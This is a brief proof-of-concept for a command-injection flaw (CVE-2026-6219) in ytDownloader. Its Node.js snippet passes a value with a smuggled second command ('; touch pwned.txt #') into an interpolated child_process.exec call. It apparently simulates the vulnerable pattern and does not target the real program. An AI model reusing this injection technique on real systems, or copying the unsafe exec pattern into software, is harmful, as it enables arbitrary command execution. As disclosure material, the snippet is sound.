CVE-2026-6219 ytDownloader命令注入漏洞

// PoC for CVE-2026-6219 // The vulnerability is in src/compressor.js where child_process.exec is used unsafely. // Assuming the vulnerable code looks like: exec(`compressor ${input}`); const { exec } = require('child_process'); // Malicious payload containing command injection // Example: touch a file named "pwned.txt" const maliciousInput = "safe_value; touch pwned.txt #"; // Simulating the vulnerable function call exec(`compressor ${maliciousInput}`, (error, stdout, stderr) => { if (error) { console.error(`exec error: ${error}`); return; } console.log(`Output: ${stdout}`); });